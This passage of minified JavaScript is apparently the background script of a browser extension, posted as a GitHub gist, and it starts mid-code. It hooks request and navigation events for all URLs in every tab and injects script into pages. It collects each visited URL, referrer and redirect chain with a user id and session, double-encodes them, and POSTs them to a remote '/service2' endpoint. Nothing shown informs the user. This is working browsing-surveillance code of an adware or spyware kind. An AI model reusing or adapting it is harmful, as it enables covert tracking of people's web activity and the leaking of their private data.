pid: g.db.get("sg_userid") || "",
sess: s || "",
sub: g.getSub()
};
y = c(m);
var r = c(w);
return y + "&" + r + b
} catch (x) {
return a.SEVERE("9004", x), ""
}
}
function d(b) {
try {
return u.encode(b)
} catch (c) {
return a.SEVERE("7772 " +
c), ""
}
}
var e;
try {
if (!e) {
if ("undefined" == typeof g.db_tmv.get("server")) throw Error("invalid server value");
e = g.db_tmv.get("server");
if (null == e) throw Error("_endpoint is null");
}
} catch (f) {
throw a.SEVERE("8686", f), f;
}
this.get_endpoint = function() {
return e
};
this.send_data = function(c, f, k, h, v, u, t, q) {
try {
a.INFO("got here: send_data");
var w;
w = "" != e ? e + "/service2" : "";
if ("" == w) a.ERROR("request_url is empty");
else {
var y = b(c, f, k, h, v, u, t, q),
s = d(d(y));
if ("" != s) {
var m = "e=" + encodeURIComponent(s);
g.net.post(w, "json",
m,
function(b) {
a.INFO("Succeeded in posting data")
},
function(b) {
a.INFO("Failed to retrieve content. (HTTP Code:" + b + ")")
})
} else a.ERROR("Error 7773")
}
} catch (r) {
a.SEVERE("7778", r)
}
}
},
h = function() {
function c(b, c, d, e, f, g, k) {
try {
if (a.HT("last bfr fiddler, going to submit: url = " + b + ", serverRedirects = " + e + ", clientRedirect = " + f), null == m && (m = new P), a.HT("_submitter._endpoint = " + m.get_endpoint()), "" == m.get_endpoint()) a.INFO("_endpoint is empty => no submit");
else {
try {
var h = JSON.stringify({
url__: b,
referer__: c,
prev__: d,
serverRedirects__: e,
clientRedirect__: f,
clientRedirectDuration__: g,
tmf__: k
});
if (r == h) {
a.ERROR("skipped. same data already submitted: " + h);
return
}
r = h
} catch (l) {
a.SEVERE("5464", l)
}
m.send_data(b, c, d, e, f, g, "4003.1", k)
}
} catch (n) {
a.SEVERE("5454", n)
}
}
function b(a) {
if (void 0 != a && 0 <= a) return q[a]._arrCommittedNavigations.length;
throw Error("inavlid tabId");
}
function d(b, c, d, e, f, g) {
try {
var k = JSON.stringify({
_url: c,
_prev: d,
_arrServerRedirectUrls: e,
_clientRedirectUrl: f,
_tmf: g
}),
h = function() {
try {
chrome.extension.sendRequest({
params_: __JSON__PLACEHOLDER__,
tabId_: __TABID__PLACEHOLDER__,
fromTMV_: __TMV__PLACEHOLDER__,
messageId_: 55558888,
referrer_: document.referrer,
location_: document.location
}, function(a) {})
} catch (a) {}
}.toString(),
h = h.replace("__JSON__PLACEHOLDER__", k),
h = h.replace("__TABID__PLACEHOLDER__", b),
h = h.replace("__TMV__PLACEHOLDER__", "'4003.1'"),
l = h.slice(h.indexOf("{") + 1, h.lastIndexOf("}"));
chrome.tabs.executeScript(b, {
code: l
}, function(b) {
a.INFO("executeScript, result = " + b)
})
} catch (m) {
a.SEVERE("2007", m)
}
}
function e(b, e, f) {
var g;
try {
var h = "",
k = "",
l = "",
m = "",
r = "";
try {
if (e && 0 <= e) {
var p = q[e];
p || a.ERROR("invalid oTabInfo")
} else a.ERROR("invalid tabId")
} catch (v) {
a.SEVERE("5459", v)
}
try {
var p = q[e],
H;
a: {
try {
if (0 <= e) {
var u = q[e],
y = u._arrRequestsIds.length,
w = void 0;
if (0 == y) {
var A = t[e];
A && 0 <= A ? a.ERROR("TODOZ - need to compute data from sourceTabId. tabId = " + e + ", sourceTabId = " + A) : a.ERROR("_arrRequestsIds.length == 0 => how to handle it ?, tabId = " + e)
} else if (1 == y) w = 0;
else {
for (var C = A = 0; C < y; C++) {
var I = u._arrRequestsIds[C],
z = n(I);
null != z ? z._completedUrl ==
b && (w = C, A++) : a.ERROR("(is this error ?) getRequestInfo returned null for tempRequestId = " + I)
}
0 == A ? (a.ERROR("getRequestIdOfTabUrl: url not found"), w = void 0) : 1 != A && (a.ERROR("getRequestIdOfTabUrl: found > 1"), w = void 0)
}
if (void 0 != w) {
H = u._arrRequestsIds[w];
break a
}
H = void 0;
break a
}
a.ERROR("invalid tabId")
} catch (D) {
a.SEVERE("2001", D);
H = null;
break a
}
H = void 0
}
if (void 0 != H) {
var J = n(H);
if (J._completedUrl == b) {
var h = J.getRedirectUrls(),
k = J.getReferer(),
B;
try {
var S = q[e],
I = z = w = y = u = void 0;
b: {
try {
if (void 0 != e &&
0 <= e) {
for (var M = q[e], T = M._arrCommittedNavigations.length, J = void 0, C = A = 0; C < T; C++) M._arrCommittedNavigations[C]._url == b && (A++, J = C);
if (1 == A) {
z = J;
break b
}
0 == A ? a.INFO("Not always error, for ajax its ok. error should be determined by caller. getIndexOfCommittedNavigation : found == 0") : 1 < A && a.ERROR("getIndexOfCommittedNavigation : found > 1")
} else a.ERROR("getIndexOfCommittedNavigation : Inavlid tabId")
} catch (N) {
a.SEVERE("2003", N)
}
z = void 0
}
if (void 0 == z) a.ERROR("getIndexOfCommittedNavigation failed #1");
else if (-1 < S._arrCommittedNavigations[z]._transitionQualifiers.indexOf("client_redirect"))
if (0 < z) {
var I = z - 1,
K = S._arrCommittedNavigations[I],
y = K._url;
try {
T = M = 0;
try {
for (var O = S._arrRequestsIds.length, z = 0; z < O; z++) {
var L = S._arrRequestsIds[z],
E = n(L);
if (null != E) {
if (E._urlBeforeRequest == b) {
T = E._timestampBeforeRequest;
break
}
} else a.ERROR("getRequestInfo return null for tempRequestId = " + L)
}
} catch (P) {
a.SEVERE("9023", P)
}
0 != T && (M = T - K._timeStamp, a.HT("durationOnCRSiteBeforeTheClientRedirect (crd) = " + M), w = M)
} catch (Q) {
a.SEVERE("9024",
Q)
}
} else a.ERROR("client_redirect but no previous nav");
I && (g = S._arrCommittedNavigations.splice(I, 1), delete g);
"undefined" != typeof y && (u = {}, u.url = y, u.duration = w);
B = u
} catch (ca) {
a.SEVERE("2005", ca), B = void 0
}
"undefind" != typeof B && null != B && ("undefined" != typeof B.url && (m = B.url), "undefined" != typeof B.duration && 0 != B.duration && (r = Math.round(B.duration)), delete B);
p._arrRequestsIds.splice(0, 1);
delete s[H]
} else a.ERROR("oRequestInfo._completedUrl == url, tabId = " + e + ", _completedUrl = " + J._completedUrl + ", url = " +
b)
} else a.ERROR("submit2, requestId is undefined, for url = " + b + ", tabId = " + e)
} catch (da) {
a.SEVERE("5453", da)
}
try {
g = "";
var p = void 0,
W = t[e];
if (W && 0 <= W) p = W;
else {
var X = q[e];
"undefined" == typeof X ? p = x : X._lastReportedUrl && "" != X._lastReportedUrl ? p = e : e != F ? (p = F, a.INFO("prevTabId flow A")) : e != x ? (p = x, a.INFO("prevTabId flow B")) : a.ERROR("Failed to find prevTabId")
}
var Y = q[p];
Y ? g = Y._lastReportedUrl : a.ERROR("failed to compute prev");
l = g
} catch (ea) {
a.SEVERE("2008", ea);
debugger;
l = ""
}
try {
t[e] && delete t[e]
} catch (fa) {
a.SEVERE("5457",
fa)
}
if (void 0 == k || "" == k) {
if ("undefined" == typeof l) debugger;
d(e, b, l, h, m, f)
} else c(b, k, l, h, m, r, f)
} catch (ga) {
a.SEVERE("5454", ga)
}
}
function f(a, b) {
this._tab = a;
this._fromOnCreateEvent = b;
this._tabsOnUpdatedUrl = this._lastReportedUrl = "";
this._marked = !1;
this._oldTabId = void 0;
this._arrRequestsIds = [];
this._arrCommittedNavigations = []
}
function h(b) {
this._tabId = b;
this._arrServerRedirectUrls = [];
this._completedUrl = this._transitionQualifiers = this._referer = "";
this._urlBeforeRequest = void 0;
this._timestampBeforeRequest =
0;
this.appendRedirectUrl = function(a) {
this._arrServerRedirectUrls.push(a)
};
this.getRedirectUrls = function() {
return this._arrServerRedirectUrls
};
this.setReferer = function(b) {
0 == this._referer.length ? this._referer = b : a.INFO("setReferer already have a value. old = " + this._referer + ", new = " + b)
};
this.getReferer = function() {
return this._referer
};
this.setUrlBeforeRequest = function(a, b) {
this._urlBeforeRequest = a;
this._timestampBeforeRequest = b
}
}
function p(a) {
this._frameId = a.frameId;
this._processId = a.processId;
this._tabId =
a.tabId;
this._timeStamp = a.timeStamp;
this._transitionQualifiers = a.transitionQualifiers;
this._transitionType = a.transitionType;
this._url = a.url;
this._prevWhenCommited = void 0
}
function k(b, c) {
if (void 0 == b) throw Error("addRequestInfo, requestId == undefined");
if (0 == s.hasOwnProperty(b)) return s[b] = new h(c), a.INFO("_hashRequests.length = " + Object.keys(s).length), s[b];
throw Error("addRequestInfo, already exists, requestId = " + b);
}
function n(a) {
if (void 0 == a) throw Error("getRequestInfo, requestId == undefined");
return 0 == s.hasOwnProperty(a) ? null : s[a]
}
function v(a) {
var b;
if (b = a)(b = "http://" === a.substring(0, 7)) || (b = "https://" === a.substring(0, 8));
return b ? !0 : !1
}
function u(b, c) {
a.INFO("updateActiveUrl : got here");
chrome.windows.getAll({
populate: !0
}, function(e) {
var d = 0;
a: for (; d < e.length; d++) {
var f = e[d].id;
if (f == b._focusedWindowId)
for (var g = w[f], h = 0; h < e[d].tabs.length; h++) {
var k = e[d].tabs[h],
l = k.id,
k = k.url;
if (l == g) {
v(k) ? (b._urlOfActiveTabInFocusedWindow = k, y[l] = k, a.INFO("updateActiveUrl : winId = " + f + ", tabId = " +
l + ", url = " + k)) : a.INFO("updateActiveUrl : SKIPPED : winId = " + f + ", tabId = " + l + ", url = " + k);
break a
}
}
}
c && c()
})
}
var t = {},
q = {},
w = {},
y = {},
s = {},
m = null,
r = "",
x = "",
F = "";
this.webRequest_onBeforeRequest = function(b) {
try {
var c = b.url,
e = b.tabId,
d = b.requestId,
g = b.timeStamp;
a.HT("webRequest.onBeforeRequest tabId = " + e + ",requestId = " + d + ", url = " + c);
if (0 <= e) {
b = null;
b = n(d);
null == b && (b = k(d, e));
b.setUrlBeforeRequest(c, g);
g = c = null;
g = q[e];
void 0 == g && (g = null);
c = g;
null == c && (a.HT("oTabInfo is null, added myself, tabId = " +
e), c = new f(null, !1), q[e] = c);
var h = c._arrRequestsIds.indexOf(d); - 1 == h ? c._arrRequestsIds.push(d) : a.ERROR("requestId already exists in array: tabId = " + e + ", requestId = " + d + ", index = " + h + ", TODOZ maybe bcz of server redirect ?")
} else a.ERROR("TODOZ how to handle tabId of -1, which is for new tab ?")
} catch (l) {
a.SEVERE("8836", l)
}
};
this.webRequest_onSendHeaders = function(b) {
try {
var c = b.url,
e = b.tabId,
d = b.requestId;
var f;
a: {
try {
for (var g = 0; g < b.requestHeaders.length; ++g)
if ("Referer" == b.requestHeaders[g].name) {
f =
b.requestHeaders[g].value;
break a
}
} catch (h) {}
f = null
}
null != f && void 0 != f ? 0 <= e ? (b = null, b = n(d), null == b && (b = k(d, e)), b.setReferer(f)) : a.ERROR("9002, tabId < 0 = " + e) : a.HT("webRequest.onSendHeaders, refererFromHeaders undfined or null : tabId = " + e + ",requestId = " + d + ", url= " + c)
} catch (l) {
a.SEVERE("8800", l)
}
};
this.webRequest_onHeadersReceived = function(b) {
try {
a.INFO("webRequest.onHeadersReceived tabId = " + b.tabId + ",requestId = " + b.requestId + ", url = " + b.url + ", statusLine = " + b.statusLine)
} catch (c) {
a.SEVERE("8839",
c)
}
};
this.webRequest_onBeforeRedirect = function(b) {
try {
var c = b.url,
e = b.tabId,
d = b.requestId;
b = null;
b = n(d);
null == b && (b = k(d, e));
b.appendRedirectUrl(c);
a.INFO("webRequest.onBeforeRedirect tabId = " + e + ",requestId = " + d + ", url = " + c)
} catch (f) {
a.SEVERE("8835", f)
}
};
this.webRequest_onResponseStarted = function(b) {
try {
a.INFO("webRequest.onResponseStarted tabId = " + b.tabId + ",requestId = " + b.requestId + ", url = " + b.url)
} catch (c) {
a.SEVERE("8839", c)
}
};
this.webRequest_onCompleted = function(b) {
try {
var c = b.url,
e = b.tabId,
d = b.requestId;
a.INFO("webRequest.onCompleted tabId = " + e + ",requestId = " + d + ", url = " + c);
var f = n(d);
null == f && (f = k(d, e));
f._completedUrl = c
} catch (g) {
a.SEVERE("8837", g)
}
};
this.webRequest_onErrorOccurred = function(b) {
try {
a.INFO("webRequest.onErrorOccurred tabId = " + b.tabId + ",requestId = " + b.requestId + ", url = " + b.url)
} catch (c) {
a.SEVERE("8896", c)
}
};
this.webNavigation_onCreatedNavigationTarget = function(b) {
try {
if (void 0 != b) {
var c = b.tabId;
0 <= c && (void 0 == t[c] ? (t[c] = b.sourceTabId, a.HT("Added nav target: tabId = " +
c + ", sourceTabId = " + b.sourceTabId)) : a.ERROR("_hashNavTargets[tabId] == undefined"))
}
} catch (e) {
a.SEVERE("8997", e)
}
};
this.webNavigation_onBeforeNavigate = function(b) {
try {
void 0 != b && 0 == b.frameId && (0 <= b.tabId ? u(this, null) : a.ERROR("webNavigation_onBeforeNavigate : how to handle tabId < 0 ? "))
} catch (c) {
a.SEVERE("8897", c)
}
};
this.webNavigation_onCommitted = function(b) {
try {
if (void 0 != b && 0 == b.frameId) {
var c = b.tabId;
if (0 <= c) {
var e = q[c];
if (e) {
var d = new p(b);
d._prevWhenCommited = "";
e._arrCommittedNavigations.push(d)
} else a.ERROR("webNavigation_onCommitted, oTabInfo is null, for tabId = " +
c + ", url = " + b.url)
} else a.ERROR("TODOZ - webNavigation_onCommitted, how to handle tabId < 0 (newtab) ? -> attach to processId ??")
}
} catch (f) {
a.SEVERE("8898", f)
}
};
this.webNavigation_onDOMContentLoaded = function(a) {};
this.webNavigation_onCompleted = function(b) {
try {
if (void 0 != b && 0 == b.frameId) {
var c = b.tabId;
if (0 <= c) {
var e = q[c];
if (e) {
var d = e._lastReportedUrl;
1 == e._marked ? b.url != d ? a.HT("CCCC 3, sumbit = " + b.url + " , (lastReportedUrl = " + d + ")") : a.HT("CCCC 4, already sumbitted = " + b.url + " , (lastReportedUrl = " +
d + ")") : (window.setTimeout(function(b) {
try {
a.HT("TIMER, tabId_ = " + b)
} catch (c) {}
}, 5E3, c), a.HT("XZXZXZ IMHERE : pre-loaded ford.com arrives here... TOODZ ? webNavigation_onCompleted : add to popups/boxes = " + b.url + " , (_tabsOnUpdatedUrl = " + e._tabsOnUpdatedUrl + ")"))
} else a.ERROR("webNavigation_onCompleted, oTabInfo null/undefined for tabId = " + c + ", url = " + b.url)
} else -1 == c ? a.HT("webNavigation_onCompleted, TODOZ - how to handle it ? tabId == -1 => new tab/ else ? = " + b.url) : a.ERROR("webNavigation_onCompleted, Invalid tabId = " +
c)
}
} catch (f) {
a.SEVERE("8891", f)
}
};
this.webNavigation_onErrorOccurred = function(b) {
try {
if (void 0 != b && 0 == b.frameId) {
var c = b.tabId,
d = b.url;
if (v(d))
if (0 <= c) {
var f = q[c];
d != f._lastReportedUrl ? (e(d, c, 3), f._lastReportedUrl = d) : a.HT("webNavigation_onErrorOccurred, already reported = " + d + ", tabId = " + c)
} else a.ERROR("webNavigation_onErrorOccurred, invalid tabId = " + c);
else a.HT("webNavigation_onErrorOccurred, skipped no-web url = " + d + ", tabId = " + c)
}
} catch (g) {
a.SEVERE("8893", g)
}
};
this.webNavigation_onTabReplaced =
function(a) {};
this.webNavigation_onHistoryStateUpdated = function(a) {};
this.windows_onFocusChanged = function(b) {
try {
a.INFO("windows.onFocusChanged windowId = " + b)
} catch (c) {
a.SEVERE("8892", c)
}
};
this.extension_onRequest = function(b, e, d) {
try {
var f = g.getExtensionId();
if (e && e.id == f) {
var h = b.fromTMV_;
if (h && "4003.1" == h) {
var k = b.messageId_;
if (k && 55558888 == k) {
a.INFO("extension_onRequest: received message");
var l = b.params_._url,
m = b.params_._prev,
n = b.params_._arrServerRedirectUrls,
r = b.params_._clientRedirectUrl,
q = b.params_._tmf;
if (l == b.location_.href) {
var p = b.referrer_;
p == l && (a.ERROR("train missed # 1?"), p = "");
p && "" != p && (q += ".1")
} else a.ERROR("train missed # 2?"), p = "";
c(l, p, m, n, r, "", q)
} else a.ERROR("messaged unknown, or undefined : request = " + b)
} else h ? a.INFO("Message of other tmv = " + h) : a.ERROR("Message without fromTMV")
} else a.ERROR("unknown sender = " + e.id)
} catch (s) {
a.SEVERE("2020", s)
}
};
this.tabs_onCreated = function(b) {
try {
a.INFO("tabs.onCreated, tab.id = " + b.id);
var c = new f(b, !0);
q[b.id] = c;
a.INFO("Count of tabs after onCreated = " +
Object.keys(q).length)
} catch (e) {
a.SEVERE("8831", e)
}
};
this.tabs_onActivated = function(b) {
try {
a.INFO("tabs.onActivated windowId = " + b.windowId + ", tabId = " + b.tabId), w[b.windowId] = b.tabId, 0 <= b.tabId ? (x = F, F = b.tabId) : a.ERROR("tabs_onActivated, how to handle activeInfo.tabId <0 ?"), a.INFO("tabs_onActivated, total count of active tabs (0 or 1, for each window) = " + Object.keys(w).length)
} catch (c) {
a.SEVERE("8834", c)
}
};
this.tabs_onRemoved = function(b, c) {
try {
a.INFO("tabs.onRemoved, tabId = " + b), delete q[b],
t[b] && delete t[b], a.INFO("Count of tabs after onRemoved = " + Object.keys(q).length)
} catch (e) {
a.SEVERE("8832", e)
}
};
this.tabs_onReplaced = function(c, d) {
try {
if (0 <= c && 0 <= d) {
var f = q[c],
g = q[d];
if (f && g) {
var h = g._lastReportedUrl,
k = void 0;
if (0 < b(c))
if (void 0 != c && 0 <= c) var l = q[c],
k = 0 < b(c) ? l._arrCommittedNavigations[0]._url : void 0;
else throw Error("inavlid tabId");
a.HT("tabs.onReplaced, addedTabId = " + c + ", removedTabId = " + d + ", removedUrl = " + h + ", addedUrl = " + k);
k != f._lastReportedUrl && (v(k) ? (y[d] && (y[c] = y[d],
delete y[d]), f._lastReportedUrl = g._lastReportedUrl, e(k, c, 2), f._lastReportedUrl = k) : a.HT("skipped non web url = " + k + "tabId = " + c));
delete q[d];
f._oldTabId = d;
t[d] && (t[c] = t[d], delete t[d])
} else f || a.ERROR("tabs_onReplaced, oAddTabInfo udefined for addedTabId = " + c), g || a.ERROR("tabs_onReplaced, oRemoveTabInfo udefined for removedTabId = " + d)
} else a.ERROR("webNavigation_onTabReplaced : addedTabId >= 0 && removedTabId >=0")
} catch (m) {
a.SEVERE("8847", m)
}
};
this.tabs_onUpdated = function(b, c, d) {
try {
if ("complete" ==
c.status) {
var f = d.url;
a.HT("tabs.onUpdated, status = " + c.status + ", tabId = " + b + ", url = " + f);
var g = q[b];
g || a.ERROR("oTabInfo null/undefined for tabId = " + b);
v(f) ? (a.HT("tabs.onUpdated going to submit, tabId = " + b + ", url = " + f), e(f, b, 1), g && (g._lastReportedUrl = f), u(this, null)) : a.HT("skipped non-web url = " + f + ", tabId = " + b)
}
} catch (h) {
a.SEVERE("8833", h)
}
};
this.addListners_webRequest = function() {
try {
if ("undefined" == typeof chrome.webRequest) a.ERROR("permission missing: webRequest");
else {
var b = {
types: ["main_frame"],
urls: ["<all_urls>"]
};
chrome.webRequest.onBeforeRequest.addListener(this.webRequest_onBeforeRequest, b);
chrome.webRequest.onSendHeaders.addListener(this.webRequest_onSendHeaders, b, ["requestHeaders"]);
chrome.webRequest.onHeadersReceived.addListener(this.webRequest_onHeadersReceived, b);
chrome.webRequest.onBeforeRedirect.addListener(this.webRequest_onBeforeRedirect, b);
chrome.webRequest.onResponseStarted.addListener(this.webRequest_onResponseStarted, b);
chrome.webRequest.onCompleted.addListener(this.webRequest_onCompleted,
b);
chrome.webRequest.onErrorOccurred.addListener(this.webRequest_onErrorOccurred, b)
}
} catch (c) {
a.SEVERE("8888", c)
}
};
this.addListners_webNavigation = function() {
try {
"undefined" == typeof chrome.webNavigation ? a.ERROR("permission missing: webNavigation") : (chrome.webNavigation.onCreatedNavigationTarget ? chrome.webNavigation.onCreatedNavigationTarget.addListener(this.webNavigation_onCreatedNavigationTarget) : a.ERROR("chrome.webNavigation.onCreatedNavigationTarget undefined"), chrome.webNavigation.onBeforeNavigate ?
chrome.webNavigation.onBeforeNavigate.addListener(this.webNavigation_onBeforeNavigate) : a.ERROR("chrome.webNavigation.onBeforeNavigate undefined"), chrome.webNavigation.onCommitted ? chrome.webNavigation.onCommitted.addListener(this.webNavigation_onCommitted) : a.ERROR("chrome.webNavigation.onCommitted undefined"), chrome.webNavigation.onDOMContentLoaded ? chrome.webNavigation.onDOMContentLoaded.addListener(this.webNavigation_onDOMContentLoaded) : a.ERROR("chrome.webNavigation.onDOMContentLoaded undefined"),
chrome.webNavigation.onCompleted ? chrome.webNavigation.onCompleted.addListener(this.webNavigation_onCompleted) : a.ERROR("chrome.webNavigation.onCompleted undefined"), chrome.webNavigation.onErrorOccurred ? chrome.webNavigation.onErrorOccurred.addListener(this.webNavigation_onErrorOccurred) : a.ERROR("chrome.webNavigation.onErrorOccurred undefined"), chrome.webNavigation.onTabReplaced ? chrome.webNavigation.onTabReplaced.addListener(this.webNavigation_onTabReplaced) : a.ERROR("chrome.webNavigation.onTabReplaced undefined"),
chrome.webNavigation.onHistoryStateUpdated ? chrome.webNavigation.onHistoryStateUpdated.addListener(this.webNavigation_onHistoryStateUpdated) : a.ERROR("chrome.webNavigation.onHistoryStateUpdated undefined"))
} catch (b) {
a.SEVERE("8887", b)
}
};
this.addListners_tabs = function() {
try {
chrome.tabs.onCreated.addListener(this.tabs_onCreated), chrome.tabs.onRemoved.addListener(this.tabs_onRemoved), chrome.tabs.onUpdated.addListener(this.tabs_onUpdated), chrome.tabs.onActivated.addListener(this.tabs_onActivated), chrome.tabs.onReplaced.addListener(this.tabs_onReplaced)
} catch (b) {
a.SEVERE("8889",
b)
}
};
this.addListners = function() {
try {
this.addListners_webRequest(), this.addListners_tabs(), this.addListners_webNavigation(), chrome.windows.onFocusChanged.addListener(this.windows_onFocusChanged), chrome.extension.onRequest.addListener(this.extension_onRequest)
} catch (b) {
a.SEVERE("8844", b)
}
};
this.start = function() {
try {
a.INFO("bg start: got here"), this.addListners()
} catch (b) {
a.SEVERE("8801", b)
}
}
};
this.main = function() {
try {
(new Q).start_lb()
} catch (a) {}
};
var a = D,
g = {
db: {
_db: void 0,
init: function() {
void 0 ==
this._db && (this._db = "undefined" !== typeof appAPI ? N : K)
},
set: function(a, b) {
if ("string" != typeof a || "" == a) throw Error("4002, Invalid param: key");
void 0 == this._db && this.init();
this._db.setImpl(a, b)
},
get: function(a) {
if ("string" != typeof a || "" == a) throw Error("4003, Invalid param: key");
void 0 == this._db && this.init();
return this._db.getImpl(a)
},
remove: function(a) {
if ("string" != typeof a || "" == a) throw Error("4004, Invalid param: key");
void 0 == this._db && this.init();
this._db.removeImpl(a)
},
clear: function() {
void 0 ==
this._db && this.init();
this._db.clearImpl()
}
},
browser: {
getName: function() {
return "undefined" !== typeof appAPI ? appAPI.browser.name : "chrome"
}
},
net: {
_impl: void 0,
init: function() {
void 0 == this._impl && (this._impl = "undefined" !== typeof appAPI ? O : L)
},
post: function(a, b, d, e, f) {
if ("string" != typeof a || "" == a) throw Error("4007, Invalid param: url_");
if ("string" != typeof b || "text" != b && "json" != b) throw Error("4008, Invalid param: expectedResult_");
if ("string" != typeof d) throw Error("4009, Invalid param: data_");
if ("function" !=
typeof e) throw Error("4010, Invalid param: onSuccess_");
if ("function" != typeof f) throw Error("4011, Invalid param: onError_");
void 0 == this._impl && this.init();
this._impl.postImpl(a, b, d, e, f)
},
get: function(a, b, d, e) {
if ("string" != typeof a || "" == a) throw Error("4012, Invalid param: url_");
if ("string" != typeof b || "text" != b && "json" != b) throw Error("4013, Invalid param: expectedResult_");
if ("function" != typeof d) throw Error("4014, Invalid param: onSuccess_");
if ("function" != typeof e) throw Error("4015, Invalid param: onError_");
void 0 == this._impl && this.init();
this._impl.getImpl(a, b, d, e)
}
},
db_tmv: {
set: function(a, b) {
g.db.set("4003.1." + a, b)
},
get: function(a) {
return g.db.get("4003.1." + a)
}
},
isCrossRider: function() {
return "undefined" !== typeof appAPI ? !0 : !1
},
createRandomNumber: function() {
return Math.floor(1E18 * Math.random())
},
createRandomString: function(a) {
for (var b = "", d = 0; d < a; d++) b += "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(Math.floor(62 * Math.random()));
return b
},
createUserID: function() {
return "undefined" !==
typeof appAPI ? appAPI.getCrossriderID() || this.createRandomString(15) : this.createRandomString(15)
},
getInstallerSourceId: function(a) {
if ("undefined" !== typeof appAPI) {
var b = appAPI.installer.getParams().source_id;
return 0 != b ? b : a
}
return a
},
getSub: function() {
return "undefined" !== typeof appAPI ? appAPI.appID || "" : "chrome"
},
getExtensionId: function() {
if ("undefined" !== typeof appAPI) return appAPI.appID;
if ("chrome" == this.browser.getName()) return "undefined" !== typeof chrome.runtime ? chrome.runtime.id : chrome.i18n.getMessage("@@extension_id");
throw Error("4016, not implemented");
}
};
this.main()
})()
};
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment